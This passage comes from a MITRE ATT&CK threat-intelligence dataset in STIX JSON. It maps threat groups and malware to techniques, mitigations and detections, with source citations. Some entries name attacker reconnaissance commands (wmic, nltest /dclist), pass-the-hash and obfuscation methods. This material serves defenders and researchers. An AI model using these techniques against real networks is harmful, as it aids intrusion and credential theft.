Token)","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ee38932c-ab04-4ac5-9ca3-d14cc98f5476","created":"2022-05-26T15:17:44.884Z","x_mitre_version":"0.1","external_references":[{"source_name":"DFIR Report APT35 ProxyShell March 2022","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used a tool to run `cmd /c wmic computersystem get domain` for discovery.(Citation: DFIR Report APT35 ProxyShell March 2022)","modified":"2022-06-02T19:50:45.611Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee448e12-4b71-4c0c-bcca-daff26072d41","type":"relationship","created":"2019-03-11T17:18:27.567Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.519Z","description":"[Empire](https://attack.mitre.org/software/S0363) uses a command-line interface to interact with systems.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee466042-fd08-4c86-898d-63fc5d4ed1d6","type":"relationship","created":"2021-06-30T16:13:40.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-06-30T16:13:40.660Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has collected system information, including the machine name and OS version.(Citation: Cybereason Chaes Nov 2020)","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee46b157-d368-42e4-98f6-b76f6e65c9bd","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"},{"source_name":"Bitdefender FIN8 July 2021","url":"https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation","description":"Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021."}],"modified":"2021-10-07T12:44:28.131Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used [dsquery](https://attack.mitre.org/software/S0105) and other Active Directory utilities to enumerate hosts; they have also used nltest.exe /dclist to retrieve a list of domain controllers.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Bitdefender FIN8 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ee4701f6-e4a5-41c8-ab72-118aead20a76","created":"2020-10-30T20:09:23.032Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."},{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."},{"source_name":"VirusBulletin Kimsuky October 2019","url":"https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/","description":"Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."},{"source_name":"ThreatConnect Kimsuky September 2020","url":"https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/","description":"ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used Visual Basic to download malicious payloads.(Citation: ThreatConnect Kimsuky September 2020)(Citation: VirusBulletin Kimsuky October 2019)(Citation: Crowdstrike GTR2020 Mar 2020)(Citation: Talos Kimsuky Nov 2021) [Kimsuky](https://attack.mitre.org/groups/G0094) has also used malicious VBA macros within maldocs disguised as forms that trigger when a victim types any content into the lure.(Citation: Talos Kimsuky Nov 2021)","modified":"2022-04-19T01:21:34.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee47ad7d-0c85-46fb-a4f7-047fdff09a03","type":"relationship","created":"2020-05-18T19:37:52.336Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-18T19:37:52.336Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) has used useless code blocks to counter analysis.(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee4d1b24-603f-40df-8f21-3c053fba275f","type":"relationship","created":"2019-07-22T15:35:24.363Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:29.090Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used dumped hashes to authenticate to other machines via pass the hash.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee4e5ea3-3d81-42ab-b259-9970f1f7d736","type":"relationship","created":"2020-08-24T14:27:37.431Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-09-22T14:02:02.320Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) modules are stored on disk with seemingly benign names including use of a file extension associated with a popular word processor.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee500581-0b91-42ab-bc1f-0a10a3af47c4","type":"relationship","created":"2021-01-14T19:48:09.355Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-14T19:48:09.355Z","description":"(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"tool--242f3da3-4425-4d11-8f5c-b842886da966","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee51d531-5cc4-4836-a55c-6062bde1a4d4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shell Crew Feb 2017","description":"Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV’s Radar. Retrieved February 15, 2017.","url":"https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"}],"modified":"2020-03-19T22:02:49.077Z","description":"[StreamEx](https://attack.mitre.org/software/S0142) obfuscates some commands by using statically programmed fragments of strings when starting a DLL. It also uses a one-byte xor against 0x91 to encode configuration data.(Citation: Cylance Shell Crew Feb 2017)","relationship_type":"uses","source_ref":"malware--91000a8a-58cc-4aba-9ad0-993ad6302b86","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ee565652-51c8-4fe8-bb05-682c6942485a","created":"2019-03-11T20:01:20.298Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"},{"source_name":"Github PowerShell Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","url":"https://github.com/PowerShellEmpire/Empire"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-20T14:55:42.605Z","description":"[Empire](https://attack.mitre.org/software/S0363) can find information about processes running on local and remote systems.(Citation: Github PowerShell Empire)(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee56e02a-67c0-4c26-b643-7569de421298","type":"relationship","created":"2021-06-10T15:17:41.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-10T15:17:41.877Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can call regsvr32.exe for execution.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee5e40d0-f72e-4e0b-8b10-cd5c2057cdc0","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"OilRig New Delivery Oct 2017","description":"Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"}],"modified":"2020-03-28T21:35:37.266Z","description":"[ISMInjector](https://attack.mitre.org/software/S0189) creates scheduled tasks to establish persistence.(Citation: OilRig New Delivery Oct 2017)","relationship_type":"uses","source_ref":"malware--5be33fef-39c0-4532-84ee-bea31e1b5324","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ee683bba-698d-4fde-be42-1aa7e3ed3211","created":"2024-08-01T22:23:27.094Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"},{"source_name":"S2W Racoon 2022","description":"S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.","url":"https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T22:23:27.094Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) identifies target files and directories for collection based on a configuration file.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee6b93d4-71f1-4d8c-bc2d-3cbb9b30c866","type":"relationship","created":"2020-07-15T20:10:03.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Juniper IcedID June 2020","url":"https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware","description":"Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."}],"modified":"2020-07-15T20:10:03.927Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has packed and encrypted its loader module.(Citation: Juniper IcedID June 2020)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ee6e6954-706f-4b19-9081-f9603c3f9e3e","created":"2022-06-09T21:07:44.025Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has used Base64 to encode its C2 communications.(Citation: Malwarebytes Saint Bot April 2021)","modified":"2022-06-09T21:07:44.025Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee720f16-feda-4146-891e-fb814f912280","type":"relationship","created":"2020-02-21T21:46:05.325Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T12:24:54.377Z","description":"Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee73acc3-a506-41a2-b7b9-e5aa9b68342b","type":"relationship","created":"2020-03-19T19:09:17.746Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro MacOS April 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/","description":"Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018."}],"modified":"2020-03-19T19:09:17.746Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) uses PowerShell scripts.(Citation: TrendMicro MacOS April 2018)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee74a23f-5981-4601-8321-a5db7af73f77","type":"relationship","created":"2020-10-01T01:33:01.536Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T01:33:01.536Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","target_ref":"attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ee7a5648-6263-4f1c-a975-e0d36740944a","created":"2023-06-12T19:53:37.422Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:19:23.395Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can use AES and CAST-128 encryption to obfuscate resources.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee7e7cfd-e5f0-47e3-95b2-858afc1b2799","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee83de4f-1ebf-4da4-829e-052d2ac7cb3a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sofacy DealersChoice","description":"Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/"}],"modified":"2020-03-17T00:53:52.885Z","description":"[DealersChoice](https://attack.mitre.org/software/S0243) uses HTTP for communication with the C2 server.(Citation: Sofacy DealersChoice)","relationship_type":"uses","source_ref":"malware--8f460983-1bbb-4e7e-8094-f0b5e720f658","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ee8711e0-dd0e-4730-9b85-bd55fb6d590e","created":"2022-04-09T14:42:06.302Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) will delete the folder containing malicious scripts if it detects the hostname as `PIS-APP`, `PIS-MOB`, `WSUSPROXY`, or `PIS-DB`.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-10T17:07:16.084Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee8af4e9-8f2e-453f-82d2-d43861d9371e","type":"relationship","created":"2020-08-24T14:07:40.400Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-10-16T21:01:17.164Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) can collect and send the local IP address, RDP information, and the network adapter physical address as a part of its C2 beacon.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee8ef62a-fcde-44b0-aa63-4028dad703aa","type":"relationship","created":"2019-06-14T17:21:38.632Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard","description":"Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.","source_name":"TechNet Credential Guard"},{"url":"https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard","description":"NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.","source_name":"GitHub SHB Credential Guard"}],"modified":"2021-07-20T23:03:00.690Z","description":"With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)","relationship_type":"mitigates","source_ref":"course-of-action--49c06d54-9002-491d-9147-8efb537fbd26","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee935350-f68f-4bd7-bfca-878ae48a2b97","type":"relationship","created":"2020-03-02T18:49:28.130Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-09-27T17:57:28.631Z","description":"Users can be trained to identify social engineering techniques and phishing emails.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ee93f001-962f-41f5-8f17-98243608aad6","created":"2022-09-22T00:34:16.518Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 